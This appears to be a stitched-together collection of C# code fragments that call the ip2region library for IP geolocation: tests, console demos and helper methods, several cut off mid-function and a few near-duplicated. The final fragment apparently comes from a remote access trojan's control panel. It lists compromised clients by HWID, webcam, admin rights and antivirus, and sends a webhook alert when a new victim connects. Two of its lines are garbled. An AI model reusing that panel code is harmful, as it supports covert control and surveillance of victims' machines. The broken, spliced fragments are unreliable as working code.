public void MemorySearchTestForChinese()
{
const int cityId = 2163;
const string region = "中国|0|广东省|深圳市|鹏博士";
var result = _dbSearcher.MemorySearch("101.105.35.57");
Assert.AreEqual(result.CityID, cityId);
Assert.AreEqual(result.Region, region);
}
public void Search_Test()
{
string memResult = _search.MemorySearch("223.104.246.20").Region;
string binarySearchResult = _search.BinarySearch("223.104.246.20").Region;
string binaryTreeSearchResult = _search.BtreeSearch("223.104.246.20").Region;
Assert.NotNull(memResult);
Assert.NotNull(binarySearchResult);
Assert.NotNull(binaryTreeSearchResult);
Assert.Equal(memResult, binarySearchResult);
Assert.Equal(binaryTreeSearchResult, memResult);
}
static void Main(string[] args)
{
using (var _search = new DbSearcher(Environment.CurrentDirectory + @"\DB\ip2region.db"))
{
Console.WriteLine(_search.MemorySearch("183.192.62.65").Region);
Console.Read();
}
}
/// <summary>
/// 获取IP地区
/// </summary>
/// <param name="ip"></param>
/// <returns>中国|0|香港|香港|香港宽频</returns>
public static string GetRegion(string ip, string path = "ip2region.db")
{
using (DbSearcher searchIp = new DbSearcher(path))
{
var region = searchIp.MemorySearch(ip);
return(region.Region);
}
}
public static (string location, string network) GetIPLocation(this IPAddress ip)
{
switch (ip.AddressFamily)
{
case AddressFamily.InterNetwork when ip.IsPrivateIP():
case AddressFamily.InterNetworkV6 when ip.IsPrivateIP():
return("内网", "内网IP");
case AddressFamily.InterNetwork:
var parts = IPSearcher.MemorySearch(ip.ToString()).Region.Split('|');
var network = parts[^ 1] == "0" ? "未知" : parts[^ 1];
public DataBlock OldMemorySearch(uint ip)
{
try
{
return(_DbSearcher.MemorySearch(ip));
}
catch (Exception ex)
{
Console.WriteLine($"BtreeSearch:{ip} {ex}");
throw ex;
}
}
public IpInfo Search(string ip)
{
if (string.IsNullOrEmpty(ip))
{
throw new ArgumentException(nameof(ip));
}
var region = _search.MemorySearch(ip).Region;
var ipinfo = RegionStrToIpInfo(region);
ipinfo.IpAddress = ip;
return(ipinfo);
}
/// <summary>
/// 防火墙拦截日志
/// </summary>
/// <param name="s"></param>
public static void InterceptLog(IpIntercepter s)
{
RedisHelper.IncrBy("interceptCount");
var result = s.IP.GetPhysicsAddressInfo().Result;
if (result?.Status == 0)
{
s.Address = result.AddressResult.FormattedAddress;
}
else
{
using var searcher = new DbSearcher(Path.Combine(AppContext.BaseDirectory + "App_Data", "ip2region.db"));
s.Address = searcher.MemorySearch(s.IP).Region;
}
RedisHelper.LPush("intercept", s);
}
public static (string location, string network) GetIPLocation(this IPAddress ip)
{
switch (ip.AddressFamily)
{
case AddressFamily.InterNetwork when ip.IsPrivateIP():
case AddressFamily.InterNetworkV6 when ip.IsPrivateIP():
return("内网", "内网IP");
case AddressFamily.InterNetworkV6 when ip.IsIPv4MappedToIPv6:
ip = ip.MapToIPv4();
goto case AddressFamily.InterNetwork;
case AddressFamily.InterNetwork:
var parts = IPSearcher.MemorySearch(ip.ToString())?.Region.Split('|');
if (parts != null)
{
var asn = GetIPAsn(ip);
var network = parts[^ 1] == "0" ? asn.AutonomousSystemOrganization : parts[^ 1];
public static (string location, string network) GetIPLocation(this IPAddress ip)
{
switch (ip.AddressFamily)
{
case AddressFamily.InterNetwork when ip.IsPrivateIP():
case AddressFamily.InterNetworkV6 when ip.IsPrivateIP():
return("内网", "内网IP");
case AddressFamily.InterNetworkV6 when ip.IsIPv4MappedToIPv6:
ip = ip.MapToIPv4();
goto case AddressFamily.InterNetwork;
case AddressFamily.InterNetwork:
var parts = IPSearcher.MemorySearch(ip.ToString())?.Region.Split('|');
if (parts != null)
{
var asn = Policy <AsnResponse> .Handle <AddressNotFoundException>().Fallback(new AsnResponse()).Execute(() => MaxmindAsnReader.Asn(ip));
var network = parts[^ 1] == "0" ? asn.AutonomousSystemOrganization : parts[^ 1];
public IActionResult Get()
{
string ipv4 = _accessor.HttpContext.Connection.RemoteIpAddress.ToString();
if (ipv4 == "::1")
{
ipv4 = "127.0.0.1";
}
IpSearchResult result = new IpSearchResult();
string dbPath = (_hostingEnvironment.ContentRootPath + @"\DB\ip2region.db").AutoPathConvert();
using (var _search = new DbSearcher(dbPath))
{
DataBlock db = _search.MemorySearch(ipv4);
result.Ip = ipv4;
result.Local = db.Region;
result.Time = TimeUtil.Timestamp();
}
return(new JsonResult(result));
}
public static string GetIPLocation(this string ips)
{
return(ips.Split(',', StringSplitOptions.RemoveEmptyEntries).Select(s =>
{
var ip = IPAddress.Parse(s.Trim());
switch (ip.AddressFamily)
{
case AddressFamily.InterNetwork when ip.IsPrivateIP():
case AddressFamily.InterNetworkV6 when ip.IsPrivateIP():
return "内网IP";
case AddressFamily.InterNetwork:
return IPSearcher.MemorySearch(ip.ToString())?.Region;
default:
var response = MaxmindReader.City(ip);
return response.Country.Names.GetValueOrDefault("zh-CN") + response.City.Names.GetValueOrDefault("zh-CN");
}
}).Join(" , "));
}
static void Main(string[] args)
{
DbSearcher dbSearcher = new DbSearcher(new DbConfig
{
}, AppContext.BaseDirectory + @"/DBFile/ip2region.db");
string ipAddress = "";
DataBlock result = null, result2 = null, result3 = null;
Console.WriteLine("请输入IP地址：");
ipAddress = Console.ReadLine();
Stopwatch sw = new Stopwatch();
do
{
sw.Start();
try
{
result = dbSearcher.BtreeSearch(ipAddress);
sw.Stop();
Console.WriteLine("[btree]你的IP所属区域为：" + result.GetRegion() + ";耗时：" + sw.Elapsed.TotalMilliseconds + "ms");
sw.Start();
result2 = dbSearcher.BinarySearch(ipAddress);
sw.Stop();
Console.WriteLine("[binarySearch]你的IP所属区域为：" + result2.GetRegion() + ";耗时：" + sw.Elapsed.TotalMilliseconds + "ms");
sw.Start();
result3 = dbSearcher.MemorySearch(ipAddress);
sw.Stop();
Console.WriteLine("[MemorySearch]你的IP所属区域为：" + result3.GetRegion() + ";耗时：" + sw.Elapsed.TotalMilliseconds + "ms");
Console.WriteLine("请输入IP地址：");
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
sw.Stop();
}
//Console.WriteLine("结束请输入bye");
} while ((ipAddress = Console.ReadLine()) != "bye");
}
public void TestInvalidIP()
{
using (var _dbSearcher = new DbSearcher("../../../../../data/ip2region.db"))
{
var invalidIps = new string[] { "256.255.1.1", "-1.0.0.0", "192.168.4", "x.y.z" };
var counter = 0;
foreach (var item in invalidIps)
{
try
{
_dbSearcher.MemorySearch(item);
}
catch (IPInValidException)
{
counter++;
}
}
Assert.AreEqual(counter, 4);
}
}
public static string GetIpLocation(string ipAddress)
{
var ipLocation = string.Empty;
try
{
if (!IsInnerIP(ipAddress))
{
if (string.IsNullOrEmpty(ipAddress) || ipAddress.Length < 6)
{
return(string.Empty);
}
using (var ipSearch = new DbSearcher(Path.Combine(Environment.CurrentDirectory, "DB", "ip2region.db")))
{
ipLocation = ipSearch.MemorySearch(ipAddress).Region;
}
if (string.IsNullOrEmpty(ipLocation))
{
ipLocation = GetIpLocationFromIpIp(ipAddress);
}
if (string.IsNullOrEmpty(ipLocation))
{
ipLocation = GetIpLocationFromPCOnline(ipAddress);
}
}
}
catch (Exception ex)
{
LogHelper.Error(ex);
}
return(ipLocation);
}
public void AddToListview(Clients client, MsgPack unpack_msgpack)
{
try
{
lock (Settings.LockBlocked)
{
try
{
if (Settings.Blocked.Count > 0)
{
if (Settings.Blocked.Contains(unpack_msgpack.ForcePathObject("HWID").AsString))
{
client.Disconnected();
return;
}
else if (Settings.Blocked.Contains(client.Ip))
{
client.Disconnected();
return;
}
}
}
catch { }
}
client.Admin = false;
if (unpack_msgpack.ForcePathObject("Admin").AsString.ToLower() != "user")
{
client.Admin = true;
}
client.LV = new ListViewItem
{
Tag = client,
Text = string.Format("{0}:{1}", client.Ip, client.TcpClient.LocalEndPoint.ToString().Split(':')[1]),
};
string[] ipinf;
string address = "";
try
{
if (TimeZoneInfo.Local.Id == "China Standard Time")
{
using (var _search = new DbSearcher(Environment.CurrentDirectory + @"\Plugins\ip2region.db"))
{
string temp = _search.MemorySearch(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Region;
for (int i = 0; i < 5; i++)
{
if (i == 1)
{
continue;
}
if (temp.Split('|')[i] != "" || temp.Split('|')[i] != " ")
{
address = address + temp.Split('|')[i] + " ";
}
}
}
client.LV.SubItems.Add(address);
}
else
{
ipinf = Program.form1.cGeoMain.GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
client.LV.SubItems.Add(ipinf[1]);
}
}
catch
{
client.LV.SubItems.Add("Unknown");
}
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Group").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Camera").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
try
{
client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Install_ed").AsString).ToLocalTime().ToString());
}
catch
{
try
{
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Install_ed").AsString);
}
catch
{
client.LV.SubItems.Add("??");
}
}
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Anti_virus").AsString);
client.LV.SubItems.Add("0000 MS");
client.LV.SubItems.Add("...");
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
client.LV.ToolTipText += "[Paste_bin] " + unpack_msgpack.ForcePathObject("Paste_bin").AsString;
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
client.LV.UseItemStyleForSubItems = false;
client.LastPing = DateTime.Now;
Program.form1.Invoke((MethodInvoker)(() =>
{
lock (Settings.LockListviewClients)
{
Program.form1.listView1.Items.Add(client.LV);
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
Program.form1.lv_act.Width = 500;
}
if (Properties.Settings.Default.Notification == true)
{
Program.form1.notifyIcon1.BalloonTipText = $@"Connected
{client.Ip} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
Program.form1.notifyIcon1.ShowBalloonTip(100);
if (Properties.Settings.Default.DingDing == true && Properties.Settings.Default.WebHook != null && Properties.Settings.Default.Secret != null)
{
try
{
string content = $"Client {client.Ip} connected" + "\n"
+ "Group:" + unpack_msgpack.ForcePathObject("Group").AsString + "\n"
+ "User:"******"User").AsString + "\n"
+ "OS:" + unpack_msgpack.ForcePathObject("OS").AsString + "\n"
+ "User:"******"Admin").AsString;
DingDing.Send(Properties.Settings.Default.WebHook, Properties.Settings.Default.Secret, content);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
new HandleLogs().Addmsg($"Client {client.Ip} connected", Color.Green);
TimeZoneInfo local = TimeZoneInfo.Local;
if (local.Id == "China Standard Time" && Properties.Settings.Default.Notification == true)
{
SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.online);
sp.Load();
sp.Play();
}
}));
}
catch { }
}